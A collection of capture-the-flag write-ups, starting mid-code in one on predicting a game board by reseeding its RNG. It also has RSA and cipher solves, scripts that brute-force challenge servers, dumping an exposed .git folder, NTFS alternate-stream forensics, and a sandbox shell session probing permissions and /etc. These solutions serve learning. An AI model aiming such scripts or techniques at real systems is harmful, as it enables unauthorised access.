nil, fmt.Errorf("couldn't create random: %v", err) } b = &board{ nums: make([]int, BoardSize), visible: make([]bool, BoardSize), } for i, _ := range b.nums { b.nums[i] = i / 2 } for i := BoardSize - 1; i > 0; i-- { j := rand.UInt64n(uint64(i) + 1) b.nums[i], b.nums[j] = b.nums[j], b.nums[i] } // and we add a print statement to dump the board do stdout log.Printf("[%d] %v",s, b) // print the board! } return b, nil}``` We modify the New function so that it uses our specially crafted uint64 instead of the OSrand function ```func New(proto_seed uint64 ) (*Rand, error) { // osr, err := OsRand() // if err != nil { // return nil, fmt.Errorf("couldn't get OS randomness: %v", err) // } // return NewFromRawSeed(osr) return NewFromRawSeed(proto_seed)}``` With these modifications in place, running a game will print 2^17 boards to stdout. with a little bit of parsing, we can get them in a nice format : ```24 3 24 18 27 26 17 9 23 7 6 0 2 11 14 8 20 5 16 19 18 5 20 19 22 21 1 10 13 8 13 0 9 2 27 14 23 12 15 16 25 12 17 7 21 22 6 15 25 1 11 4 3 26 10 426 20 24 9 0 18 27 15 0 24 21 1 6 27 4 5 25 20 12 3 17 7 7 22 4 2 11 11 17 23 14 8 13 10 8 19 9 14 15 10 2 18 6 21 23 19 1 16 3 26 13 12 22 16 5 25``` A little python script will load them all in an dictionnary, with the first 4 tiles as key : ``` BOARD_FILE = 'boards.txt' from collections import defaultdict boards = defaultdict(list)def init(): with open(BOARD_FILE) as f: for line in f: permutation = line.strip().split(" ") board = [int(item) for item in permutation] board_key = tuple(board[:4]) boards[board_key].append(board) def get_all(key): return boards[key]``` This gives us a simple API to query the list of boards. for instance, this will get us allboards that have the following tiles starting top left corner `2,43,21,23````boards.init()boards.get_all( (2,43,21,23) )``` ## Interracting with the game server The game front-end interract with the game server via websockets. This was done withthe python websockets library some important points to note : 1. The websocket library used needs to understand the websocket handshake, as we don't want to implement the http-> websocket upgrade handshake 2. The hostname needs to be specified or else the handshake won't be valid, and the server will reject the query ### Connect to the game serverThis piece of (asyncio) code will connect:``` async with websockets.client.connect( URI, origin='https://doomed.web.ctfcompetition.com') as ws: pass``` ### Play a gameThese co-routines can be used to initiate the game state and send some guesses ```async def get_info(ws): qry = {"op":"info"} await ws.send(json.dumps(qry)) response = await ws.recv() return json.loads(response) async def send_guess(x,y, ws): qry = {"op":"guess", "body":{"x":x, "y":y}} await ws.send(json.dumps(qry)) response = await ws.recv() return json.loads(response) ``` At this point, it's just a matter of trying the first four tiles, infering the correct game board, and then solve a game where we know the position of all tiles! ![Imgur](https://i.imgur.com/LjXJItZ.gif) Full python code : ``` #!/usr/bin/env python3 import websocketsimport asyncio import json URI = 'wss://doomed.web.ctfcompetition.com/ws' import boardsboards.init() async def send_guess(x,y, ws): qry = {"op":"guess", "body":{"x":x, "y":y}} await ws.send(json.dumps(qry)) response = await ws.recv() return json.loads(response) async def get_info(ws): qry = {"op":"info"} await ws.send(json.dumps(qry)) response = await ws.recv() return json.loads(response) def xy_to_linear(x,y): return y*7 + x def linear_to_xy(linear): x = linear % 7 y = linear // 7 return(x,y) async def find_board(ws): board_key = [] for x in range(0,4): response = await send_guess(x,0, ws) index = xy_to_linear(x,0) board = response['board'] board_key.append(board[index]) return tuple(board_key) async def play(): async with websockets.client.connect(URI, origin='https://doomed.web.ctfcompetition.com' ) as ws: game = await get_info(ws) board_key = await find_board(ws) print (f"Board key : {board_key}") valid_boards = boards.get_all(board_key) print ("found {} valid boards".format(len(valid_boards))) order = solve(valid_boards[0]) print(valid_boards[0]) print(order) for i in order: x,y = linear_to_xy(i) game = await send_guess(x,y, ws) print_board(game["board"]) if game["message"]: print('\n\t' + game["message"] + '\n\n') def print_board(board): print(" ".join([f'{x: >2}' for x in board] )) def solve(board): order = [] for item in range(0,28): order.extend([i for i, x in enumerate(board) if x == item]) return order asyncio.get_event_loop().run_until_complete(play())```
<h1 align="center">Crypto</h1> <h3>RF - Point: 161</h3> I was walking on rails when suddenly i found this on wooden fence: I3_nase7ncamсo_r1сCt_t4T07_}Fnhs{1 For this task, I use https://www.dcode.fr/chiffre-rail-fence ```Flag: InnoCTF{n0t_ca3sar_7h1s_t1me_7сс4}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>Bird mail - Point: 415</h3> For this task, I use https://www.geocachingtoolbox.com/index.php?lang=en&page=codeTables&id=birdsOnAWire. ```do not be madyou found answerhere some words fordecoding andflag isonly birds everywhere Flag: InnoCTF{only_birds_everywhere}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>One hundred times RSA - Point: 484</h3> We had intercepted message(823987601539551928252661654437667295378450335918666145079851234798343062080579451801129289418220555) and modulus(1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139). Not that we needed all that for the dercrypting, but once you started to break crypto systems, the tendency is to push it as far as you can. For this task, I use http://factordb.com/ and python. ``` python #!/usr/bin/env python import libnumimport gmpy n=1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139 # P and Q found on http://factordb.com/ p=37975227936943673922808872755445627854565536638199q=40094690950920881030683735292761468389214899724061 c=823987601539551928252661654437667295378450335918666145079851234798343062080579451801129289418220555 phi=(p-1)*(q-1) # We search e for e in range(1,65537): d= gmpy.invert(e,phi) M = pow(c, d, n) if "InnoCTF{" in libnum.n2s(M): print libnum.n2s(M) print e break """InnoCTF{cr4ck_rs4_4g41n_5ca2}53971""" Flag: InnoCTF{cr4ck_rs4_4g41n_5ca2}``` ----------------------------------------------------------------------------------------------------------------------------------- <h3>Librarian skill - Point: 484</h3> For this task, I use a pen. We have 4 files: File 1984.txt: His mind slid away into(5) the labyrinthine world of doublethink(10). To know and not to know, to be conscious of(20) complete truthfulness while telling carefully constructed lies(27), to hold simultaneously two opinions which cancelled out, knowing them to be contradictory(40) and believing in both of them, to use logic against logic, to repudiate(53) morality while laying claim to it, to(60) believe that democracy was impossible and that the Party was the guardian of democracy, to forget(76), whatever it was necessary to forget, then to draw(85) it back into memory(89) again at the moment when it was needed, and then promptly(100) to forget it again(104), and above all, to apply the same process to the process itself that was the ultimate(120) subtlety; consciously to induce unconsciousness, and then, once again, to become unconscious of the act of hypnosis(137) you had just(140) performed. Even to understand the word 'doublethink' involved the use of doublethink(152). File The Catcher in the Rye.txt: I went over to my window and opened it and(10) packed a snowball with my(15) bare hands. The snow was very good for packing. I didn't throw it at anything(30), though. I started to throw it. At a car that was parked across the street. But I changed my mind(50). The car looked so nice(55) and white. Then I started to throw(62) it at a hydrant, but that looked too nice and white(73), too. Finally I didn't throw it at anything. All I did was close the window and walk around(91) the room with the snowball, packing it harder. A little while later, I still had(106) it with me when I and Brossard(113) and Ackley got on the bus. The bus driver opened the doors(125) and made me throw it out. I told him I wasn't going to chuck it at anybody, but he wouldn't believe me(147). People never believe you(151). File Animal Farm.txt: Now, comrades(2), what is the nature of this life of(10) ours? Let us face it: our lives are miserable, laborious, and short. We are born, we are given just so much food as will keep the breath in our bodies(40), and those of us who(45) are capable of it are forced to work to the(55) last atom(57) of our strength; and the very instant that our usefulness has(68) come to an end we are slaughtered(75) with hideous cruelty. No animal in England knows the meaning of happiness or leisure(89) after he is a year(94) old. No animal in England is free. The life of an animal(106) is misery and slavery: that is the plain truth(115). We know that the file cipher.jpg that it's the photo of Jean Lafitteand the cipher is: We deduce that the numbers correspond to the first letter of each word in each paragraph. 1 48 53 53 138 ===> Hurry 13 69 123 2 103 151 ===> slowly 4 6 1 13 26 75 102 ===> inNuwsT ```Flag: InnoCTF{Hurry_slowly_inNuwsT}```
# Drive to the target (coding) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-0.png) Let's go ahead and go to the [website](https://drivetothetarget.web.ctfcompetition.com/) and see what we're dealing with. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-1.png) Let's give some sample input and see how it behaves. (Increasing)![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-2.png) (Decreasing)![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-3.png) (Too much)![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-4.png) Looks like when we tamper with the coordinates, it tells us whether we're getting hotter or colder from the target. If we increment by too much, it tells us neither. Looks like the solution is to increment in small steps, and monitor whether we're getting closer to the target or further away. We can move along one axis until it switches on us, and then we can move along the other axis until we get to the target. Looking at the URL, we notice a token, which seems to be how the program knows where we were before we sent a new request to change our location. Let's go ahead and set up a proxy with something like Burp Suite and monitor outgoing data. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-5.png) Looking closer, we find that the token sent matches that of the one found in the source of the page. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-6.png) We now have the solution. We just need to be able to put it into code. We're going to first request an initial state page, where we have not moved. Then, we're going to get the token from the page, and we're going to send a request for a new page in which we have moved by a very small amount of distance. With this request, we're going to send our token so that the new page knows where we originated from. Then, we're going to check the contents of the page to see if we're getting closer or further away from the target location. We're going to continue getting closer until it switches on us, at which we'll take a step back and continue to do the same thing along the alternate axis. We will continue to do this until we arrive at the location. ```python#!/usr/bin/env python3 import bs4import requestsimport sys def get_coordinates(url): page = requests.get(url).content soup = bs4.BeautifulSoup(page, "html.parser") cLat = float(soup.find("input", attrs={"name": "lat"})["value"]) cLon = float(soup.find("input", attrs={"name": "lon"})["value"]) tken = soup.find("input", attrs={"name": "token"})["value"] stat = -1 if "away" in soup.text else 0 return [cLat, cLon], tken, stat def main(args): url = "https://drivetothetarget.web.ctfcompetition.com/" if len(args) == 0: pair, token, stat = get_coordinates(url) else: pair, token, stat = get_coordinates(args[0]) done = False switch = False before = None step = 0.0001 while True: if not switch: params = "?lat=%.4f&lon=%.4f&token=%s" % (pair[0], pair[1] + step, token) else: params = "?lat=%.4f&lon=%.4f&token=%s" % (pair[0] + step, pair[1], token) try: pair, token, stat = get_coordinates(url + params) except: print(url + params) quit() if ( stat == -1 and before == -1 ): step *= -1 if not switch and ( stat == -1 and before == 0 ): switch = True pair[1] -= step elif switch and ( stat == -1 and before == 0 ): print(url + params) quit() before = stat print("%.4f, %.4f" % (pair[0], pair[1]), ": Closer" if not stat else ": Further") if __name__ == "__main__": main(sys.argv[1::])``` This might take a while to run, especially because I'm redoing this challenge for the writeup on coffeeshop Wi-Fi routed through an even slower VPN... ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-7.png) After a while, we finally come to the flag. ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-8.png) ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-9.png) ## Flag ```CTF{Who_is_Tardis_Ormandy}``` # Next Stop ![](https://raw.githubusercontent.com/shawnduong/ctf-writeups/master/2019-GOOGLE/images/5-10.png) We've reached the end. Feel free to go all the way back to [Satellite](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day1-satellite.md) and check out the other branch. I'm not too sure why that third branch's challenges aren't accessible. Anyways, I hope you enjoyed reading these writeups as much as I enjoyed writing them.
# Catch This Flag! - Category: PPC- Rating: medium This was a really fun challenge involving a healthy amount of cats. We are given a ip to connect to along with 10 ports, `46470-46479`, connecting to any of them usually gets us this response```bashSorry, No cats here... # As I remember it``` but every once in a while you get this```bash _._ _,-'""`-._(,-.`._,'( |\`-/| `-.-' \ )-`( , o o) # Closest approximation I could find to ascii nyan cat `- \`_`"'-Your part of the flag is:63Next port: 46473```But when we go there we just get this again```bashSorry, No cats here...``` No dice. We need to automate this. # Solution Summoning pwntools and re makes the code a breeze. We just hammer the ports till we get a response, then we parse the next port and hammer that one until we get its part of the flag and so on... ```python#!/usr/bin/env pythonimport refrom pwn import *context.log_level = 'critical' port = 46470flag = ''started = 0prev = '' while True: con = remote('188.130.155.66', port) text = con.recv() # print text if "cats" in text: # No cats here... if started == 0: port += 1 con.close() continue elif "flag" in text: # Your part of the flag is:43 started = 1 # Next port:46473 port = int(re.findall('4647.',text)[0]) prev = re.findall('Your part of the flag is:..', text)[0][-2:] if prev == flag[-2:] and flag != '': continue flag += prev print flag con.close()```This is how running it looked like during the CTF ![Imgur](https://i.imgur.com/8VvCvOX.png) # Flag `InnoCTF{49fe100103cbc466c7ba22c373636a56d}`
Utilizing frida-util to solve via dynamic brute forcing of the flag. https://bannsecurity.com/index.php/home/10-ctf-writeups/55-defcon-quals-2019-veryandroidoso
# One hundred times RSA - Category: Crypto- Rating: Easy This is an RSA where we're given the message `c` and modulus `n` which is pretty small in size ```c = 603698176784356534065626570171027820554301097275556640590608004001323036552071482035740091533040756n = 1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139```We can probably factor out the `n` into `p` and `q` using [factordb](factordb.com)```p = 37975227936943673922808872755445627854565536638199 q = 40094690950920881030683735292761468389214899724061``` Now we only need `e`, which might be brute forcable. # Solution ```pythonfrom Crypto.Util.number import inverseimport re # factor n, guess ec = 603698176784356534065626570171027820554301097275556640590608004001323036552071482035740091533040756n = 1522605027922533360535618378132637429718068114961380688657908494580122963258952897654000350692006139 p = 37975227936943673922808872755445627854565536638199 # factordbq = 40094690950920881030683735292761468389214899724061 phi = (q-1) * (p-1) for e in xrange(0x100000): try: d = inverse(e, phi) m = pow(c, d, n) out = hex(m)[2:-1].decode('hex') print re.findall('InnoCTF{.*}', out)[0] print "e =",e break except: pass```This is what it looked like during the competition, it only took about 30 seconds on my pc. ![Imgur](https://i.imgur.com/Xmgby1R.png) # Flag `InnoCTF{cr4ck_rs4_4g41n_0faa}`
# Back in time - Category: Web- Rating: Medium We're given a mostly empty webpage at `http://188.130.155.66:1111/sPgnbTpZuBMxGQBIpEMAkhqDSGAlaybE` with a git logo in the background. checking `http://188.130.155.66:1111/sPgnbTpZuBMxGQBIpEMAkhqDSGAlaybE/.git/` confirms that indeed someone forgot to remove their .git folder from theit production website. We start by downloading it using [gitdumper](https://github.com/internetwache/GitTools/tree/master/Dumper), and then we're obviously supposed to dig through the history... Unless someone figured out a way to grep through the entire history of a git repo. ![Imgur](https://i.imgur.com/nutnv2f.png) Oh wait, tomnomnom has. # Solution ```bash$ { find .git/objects/pack/ -name "*.idx"|while read i;do git show-index < "$i"|awk '{print $2}';done;find .git/objects/ -type f|grep -v '/pack/'|awk -F'/' '{print $(NF-1)$NF}'; }|while read o;do git cat-file -p $o;done|grep -E 'InnoCTF' find: ‘.git/objects/pack/’: No such file or directoryNOT A FLAG wDOwdnQzRGdqXxUJMgiVOraPRGdApUmUInnoCTF{nVBdAdtIqkOUUxFqKpypJIPCLpIQrZwr}NOT A FLAG GJuLumsBvtOzbCMchCMnRxIhcJkWKnyhtree e62734d8c2102bc86f2dde033a975741997d76fe``` # Flag`InnoCTF{nVBdAdtIqkOUUxFqKpypJIPCLpIQrZwr}`
Challenge: Home ComputerCategory: ForensicsDescription: Blunderbussing your way through the decision making process, you figure that one is as good as the other and that further research into the importance of Work Life balance is of little interest to you. You're the decider after all. You confidently use the credentials to access the "Home Computer."Something called "desktop" presents itself, displaying a fascinating round and bumpy creature (much like yourself) labeled "cauliflower 4 work - GAN post." Your 40 hearts skip a beat. It looks somewhat like your neighbors on XiXaX3. ..Ah XiXaX3... You'd spend summers there at the beach, an awkward kid from ObarPool on a family vacation, yearning, but without nerve, to talk to those cool sophisticated locals. So are these "Cauliflowers" earthlings? Not at all the unrelatable bipeds you imagined them to be. Will they be at the party? Hopefully SarahH has left some other work data on her home computer for you to learn more. Solution: We get these two files from the zip - one of which is a note and the other a filesystem. Time to mount it? family.ntfs: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors 51199, $MFT start cluster 4, $MFTMirror start cluster 3199, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 072643f694104cb6fnote.txt: ASCII text Ill check the note anyways. root @ /root/CTF/google2019/HomeComputer $ cat note.txt If you're on MacOS, you can rename .ntfs to .dmg Yep - if its a .dmg thats for installation which gets mounted in macOS so we need to mount this. I mount it and check the contents and we get root @ /root/CTF/google2019/HomeComputer $ mkdir /mnt/ctfMountroot @ /root/CTF/google2019/HomeComputer $ mount family.ntfs /mnt/ctfMount/root @ /root/CTF/google2019/HomeComputer $ ls /mnt/ctfMount/total 24drwxrwxrwx 1 root root 16384 Jun 13 00:38 Windows-rwxrwxrwx 1 root root 0 Jun 13 00:37 swapfile.sys-rwxrwxrwx 1 root root 0 Jun 13 00:37 SSUUpdater.log-rwxrwxrwx 1 root root 0 Jun 13 00:37 Setup.logdrwxrwxrwx 1 root root 4096 Jun 13 00:37 'Program Files (x86)'drwxrwxrwx 1 root root 4096 Jun 13 00:37 'Program Files'-rwxrwxrwx 1 root root 0 Jun 13 00:37 pagefile.sys-rwxrwxrwx 1 root root 0 Jun 13 00:37 BOOTNXT-rwxrwxrwx 1 root root 0 Jun 13 00:37 bootmgrdrwxrwxrwx 1 root root 0 Jun 13 00:37 Users There are A LOT of files which are 0 bytes so I dug around A LOT and eventually came uponsome files in Documents. Heres one of them root @ /mnt/ctfMount/Users/Family $ cat Documents/credentials.txt I keep pictures of my credentials in extended attributes. After watching some videos and reading articles on extended attributes, it seems that the credentials file is sortof symlinked to another file. There are multiple commands which can help us here but fls seemed to be the best to find information from the filesystem.icat was another tool that I read about which helped me out here. running fls while recursing into the directories gives us these inode numbers which we can use to get information from. root @ /root/CTF/google2019/HomeComputer $ fls -r family.ntfs | grep "credentials.txt"+++ r/r 13288-128-2: credentials.txt+++ r/r 13288-128-4: credentials.txt:FILE0 Next I used icat to try and see what the credentials.txt:FILE0 was, and it seemed to be a large amount of data,so I piped the stdout into the file command to see what the file actually was. root @ /root/CTF/google2019/HomeComputer $ icat family.ntfs 13288-128-4 | file -/dev/stdin: PNG image data, 1234 x 339, 8-bit/color RGB, non-interlaced GREAT! Its actually a picture like credentials.txt said it would be!!!! Now we need to find a way to open it so I redirected it into a file.png now AND WE GET A PICTURE WITH THE WORDS "CTF{congratsyoufoundmycreds}"
# basic-pass-1 (150) ## Problem Your company is testing out a new login software, and being one of the CompSec experts, they want you to test it. They say that they have hidden a key somewhere in the program, and want you to look for it. Find it, and they might even consider giving you a pay raise... They have told you that there is a four digit pin on the program to unlock it. (Attachments: files/basic-pass-1-linux) ## Solution The flag can be found by running `strings` on the file and then grepping it for the flag. ```$ strings basic-pass-1-linux | grep "bcactf{.*}"Congrats! The key is bcactf{hey_its_a_password}```
Challenge: Work ComputerCategory: sandbox Description: With the confidence of conviction and decision making skills that made you a contender for Xenon's Universal takeover council, now disbanded, you forge ahead to the work computer.This machine announces itself to you, surprisingly with a detailed description of all its hardware and peripherals.Your first thought is "Why does the display stand need to announce its price? And exactly how much does 999 dollars convert to in Xenonivian Bucklets?"You always were one for the trivialities of things.Also presented is an image of a fascinating round and bumpy creature, labeled "Cauliflower for cWo" - are "Cauliflowers" earthlings?Your 40 hearts skip a beat - these are not the strange unrelatable bipeds you imagined earthings to be.. this looks like your neighbors back home. Such curdley lobes. Will it be at the party?SarahH, who appears to be a programmer with several clients, has left open a terminal. Oops. Sorry clients! Aliens will be poking around attempting to access your networks.. looking for Cauliflower. That is, *if* they can learn to navigate such things. readme.ctfcompetition.com 1337 SolutionWere greeted with a shell so im guessing its time to escape. > helpAlien's shellType program names and arguments, and hit enter.The following are built in: cd help exitUse the man command for information on other programs. Checking for basic commands we have access to and what directories we can listThis one isnt a writeup as much as testing what different utilities do and seeing what I can make sense of.READ THROUGH THE ENTIRE THING TO SEE THE PROCESS I TOOK!!! > cd aliensh: expected argument to "cd"> cd ./> lsORME.flagREADME.flag> echo README.flagREADME.flag> echo ./README.flag./README.flag> caterror: No such file or directory> echo ./*./*> ls ORME.flagREADME.flag> ls O ls: O: No such file or directory> ls ORME.flagORME.flag> file ORME.flagerror: No such file or directory> file error: No such file or directory> lesserror: No such file or directory> moreerror: No such file or directory> vimerror: No such file or directory> vierror: No such file or directory> echo ./*./* > cd ../bin> lsarchbusyboxchgrpchownconspydatedfdmesgdnsdomainnamedumpkmapechofalsefdflushfsyncgetopthostnameioniceiostatipcalckillloginlslzopmakemimemkdirmknodmktempmountmountpointmpstatnetstatnicepidofpingping6pipe_progressprintenvpspwdreformimermrmdirrun-partssetprivsetserialshellsleepstatsttysynctartrueumountunameusleepwatch> ls -a...archbusyboxchgrpchownconspydatedfdmesgdnsdomainnamedumpkmapechofalsefdflushfsyncgetopthostnameioniceiostatipcalckilllogin> cd . > cd ..> lsbinchallengedevetchomelibmediamntoptprocrootrunsbinsrvsystmpusrvar> cd bin> lsarchbusyboxchgrpchownconspydatedfdmesgdnsdomainnamedumpkmapechofalsefdflushfsyncgetopthostnameioniceiostatipcalckillloginlslzopmakemimemkdirmknodmktempmountmountpointmpstatnetstatnicepidofpingping6pipe_progressprintenvpspwdreformimermrmdirrun-partssetprivsetserialshellsleepstatsttysynctartrueumountunameusleepwatch> printenvSHLVL=1PWD=/challenge> $error: No such file or directory> dumpkmapdumpkmap: can't open console> nice19> dfFilesystem 1K-blocks Used Available Use% Mounted on/dev/sda1 20145724 7303332 12826008 36% /none 4096 0 4096 0% /tmpnone 4096 0 4096 0% /devnone 4096 0 4096 0% /dev/shmnone 4096 8 4088 0% /challenge> man dferror: No such file or directory> df -hFilesystem Size Used Available Use% Mounted on/dev/sda1 19.2G 7.0G 12.2G 36% /none 4.0M 0 4.0M 0% /tmpnone 4.0M 0 4.0M 0% /devnone 4.0M 0 4.0M 0% /dev/shmnone 4.0M 8.0K 4.0M 0% /challenge > ttynot a tty> printfBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: printf FORMAT [ARG]... Format and print ARG(s) according to FORMAT (a-la C printf)> printf /challenge/*/challenge/*> > > conspyconspy: can't open '/dev/vcsa': No such file or directory> cd .. > busyboxbusybox can not be called for alien reasons.> sudoerror: No such file or directory> mpstatLinux 4.15.0-1023-gcp (jail-0) 07/14/19 _x86_64_ (2 CPU) 18:27:47 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle18:27:47 all 0.67 0.02 0.50 0.02 0.00 0.01 0.00 0.00 98.79> netstatActive Internet connections (w/o servers)Proto Recv-Q Send-Q Local Address Foreign Address State Active UNIX domain sockets (w/o servers)Proto RefCnt Flags Type State I-Node Path> lsORME.flagREADME.flag> cd ..> lsbinchallengedevetchomelibmediamntoptprocrootrunsbinsrvsystmpusrvar> ls rootls: can't open 'root': Permission denied> ls run> ls run/*ls: run/*: No such file or directory> ls tmp> ls devshm> ls etcTZalpine-releaseapkca-certificatesca-certificates.confconf.dcrontabsfstabgrouphostnamehostsinit.dinittabinputrcissuelogrotate.dmodprobe.dmodulesmodules-load.dmotdmtabnetworkoptos-releasepasswdperiodicprofileprofile.dprotocolssecurettyservicesshadowshellssslsysctl.confsysctl.dterminfoudhcpd.conf> ls -al etctotal 196drwxr-xr-x 17 65534 65534 4096 Jun 13 14:28 .drwxr-xr-x 20 0 0 4096 Jun 13 14:28 ..-rw-r--r-- 1 65534 65534 4 Jan 23 20:46 TZ-rw-r--r-- 1 65534 65534 6 May 9 20:49 alpine-releasedrwxr-xr-x 4 65534 65534 4096 Jun 13 14:28 apkdrwxr-xr-x 3 65534 65534 4096 Jun 13 12:48 ca-certificates-rw-r--r-- 1 65534 65534 6285 Jan 29 16:27 ca-certificates.confdrwxr-xr-x 2 65534 65534 4096 May 9 20:49 conf.ddrwxr-xr-x 2 65534 65534 4096 May 9 20:49 crontabs-rw-r--r-- 1 65534 65534 89 Jan 23 20:46 fstab-rw-r----- 1 65534 65534 726 Jun 12 13:57 group-rw-r--r-- 1 65534 65534 10 Jan 23 20:46 hostname-rw-r--r-- 1 65534 65534 79 Jan 23 20:46 hostsdrwxr-xr-x 2 65534 65534 4096 May 9 20:49 init.d-rw-r--r-- 1 65534 65534 570 Jan 23 20:46 inittab-rw-r--r-- 1 65534 65534 1748 Nov 15 2018 inputrc-rw-r--r-- 1 65534 65534 53 May 9 20:49 issuedrwxr-xr-x 2 65534 65534 4096 May 9 20:49 logrotate.ddrwxr-xr-x 2 65534 65534 4096 May 9 20:49 modprobe.d-rw-r--r-- 1 65534 65534 15 Jan 23 20:46 modulesdrwxr-xr-x 2 65534 65534 4096 May 9 20:49 modules-load.d-rw-r--r-- 1 65534 65534 283 Jan 23 20:46 motdlrwxrwxrwx 1 65534 65534 12 May 9 20:49 mtab -> /proc/mountsdrwxr-xr-x 8 65534 65534 4096 May 9 20:49 networkdrwxr-xr-x 2 65534 65534 4096 May 9 20:49 opt-rw-r--r-- 1 65534 65534 162 May 9 20:49 os-release-rw-r----- 1 65534 65534 1289 Jun 12 13:57 passwddrwxr-xr-x 7 65534 65534 4096 May 9 20:49 periodic-rw-r--r-- 1 65534 65534 259 Jan 23 20:46 profiledrwxr-xr-x 2 65534 65534 4096 May 9 20:49 profile.d-rw-r--r-- 1 65534 65534 1865 Jan 23 20:46 protocols-rw-r--r-- 1 65534 65534 65 Jan 24 07:45 securetty-rw-r--r-- 1 65534 65534 36141 Jan 23 20:46 services-rw-r----- 1 65534 65534 441 May 9 20:49 shadow-rw-r--r-- 1 65534 65534 38 Jan 23 20:46 shellsdrwxr-xr-x 5 65534 65534 4096 May 9 20:49 ssl-rw-r--r-- 1 65534 65534 53 Jan 23 20:46 sysctl.confdrwxr-xr-x 2 65534 65534 4096 May 9 20:49 sysctl.ddrwxr-xr-x 9 65534 65534 4096 Jun 13 12:48 terminfo-rw-r--r-- 1 65534 65534 4169 Jan 24 07:45 udhcpd.conf> ./error: Permission denied> cd challenge> ./README.flagerror: Permission denied> ./ORME.flagerror: Permission denied> ls -lttotal 8---------- 1 1338 1338 33 Jul 14 18:23 ORME.flag-r-------- 1 1338 1338 28 Jul 14 18:23 README.flag> whoamiwhoami: unknown uid 1338> whoerror: No such file or directory> chownBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: chown [-RhLHPcvf]... USER[:[GRP]] FILE... Change the owner and/or group of each FILE to USER and/or GRP -R Recurse -h Affect symlinks instead of symlink targets -L Traverse all symlinks to directories -H Traverse symlinks on command line only -P Don't traverse symlinks (default) -c List changed files -v List all files -f Hide errors> echo ./README.flag./README.flag> chown {$whoami} README.flag chown: unknown user {$whoami}> hostnamejail-0> chown jail-0 README.flagchown: unknown user jail-0> suerror: No such file or directory> whoami -hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: whoami Print the user name associated with the current effective user id> whoamiwhoami: unknown uid 1338> chown README.flag unknownchown: unknown user/group README:flag > chmoderror: No such file or directory> chown unknown README.flagchown: unknown user unknown> chown 1338 README.flag> ./README.flagerror: Permission denied> ionicenone: prio 4> ionice -hionice: unrecognized option: hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: ionice [-c 1-3] [-n 0-7] [-p PID] [PROG] Change I/O priority and class -c Class. 1:realtime 2:best-effort 3:idle -n Priority> mknod -hmknod: unrecognized option: hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: mknod [-m MODE] NAME TYPE [MAJOR MINOR] Create a special file (block, character, or pipe) -m MODE Creation mode (default a=rw)TYPE: b Block device c or u Character device p Named pipe (MAJOR MINOR must be omitted) > stty stty: standard input: Not a tty> statBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: stat [OPTIONS] FILE... Display file (default) or filesystem status -c FMT Use the specified format -f Display filesystem status -L Follow links -t Terse display FMT sequences for files: %a Access rights in octal %A Access rights in human readable form %b Number of blocks allocated (see %B) %B Size in bytes of each block reported by %b %d Device number in decimal %D Device number in hex %f Raw mode in hex %F File type %g Group ID %G Group name %h Number of hard links %i Inode number %n File name %N File name, with -> TARGET if symlink %o I/O block size %s Total size in bytes %t Major device type in hex %T Minor device type in hex %u User ID %U User name %x Time of last access %X Time of last access as seconds since Epoch %y Time of last modification %Y Time of last modification as seconds since Epoch %z Time of last change %Z Time of last change as seconds since Epoch FMT sequences for file systems: %a Free blocks available to non-superuser %b Total data blocks %c Total file nodes %d Free file nodes %f Free blocks %i File System ID in hex %l Maximum length of filenames %n File name %s Block size (for faster transfer) %S Fundamental block size (for block counts) %t Type in hex %T Type in human readable form> stat ../challenge/README.flag File: ../challenge/README.flag Size: 28 Blocks: 8 IO Block: 4096 regular fileDevice: 37h/55d Inode: 3 Links: 1Access: (0400/-r--------) Uid: ( 1338/ UNKNOWN) Gid: ( 1338/ UNKNOWN)Access: 2019-07-14 18:33:51.000000000Modify: 2019-07-14 18:33:51.000000000Change: 2019-07-14 18:33:51.000000000 > mpstatLinux 4.15.0-1023-gcp (jail-0) 07/14/19 _x86_64_ (2 CPU) 18:36:34 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle18:36:34 all 0.74 0.02 0.54 0.02 0.00 0.01 0.00 0.00 98.69> mpstat -hmpstat: unrecognized option: hBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: mpstat [-A] [-I SUM|CPU|ALL|SCPU] [-u] [-P num|ALL] [INTERVAL [COUNT]] Per-processor statistics -A Same as -I ALL -u -P ALL -I SUM|CPU|ALL|SCPU Report interrupt statistics -P num|ALL Processor to monitor -u Report CPU utilization> pingBusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary. Usage: ping [OPTIONS] HOST Send ICMP ECHO_REQUEST packets to network hosts -4,-6 Force IP or IPv6 name resolution -c CNT Send only CNT pings -s SIZE Send SIZE data bytes in packets (default 56) -A Ping as soon as reply is recevied -t TTL Set TTL -I 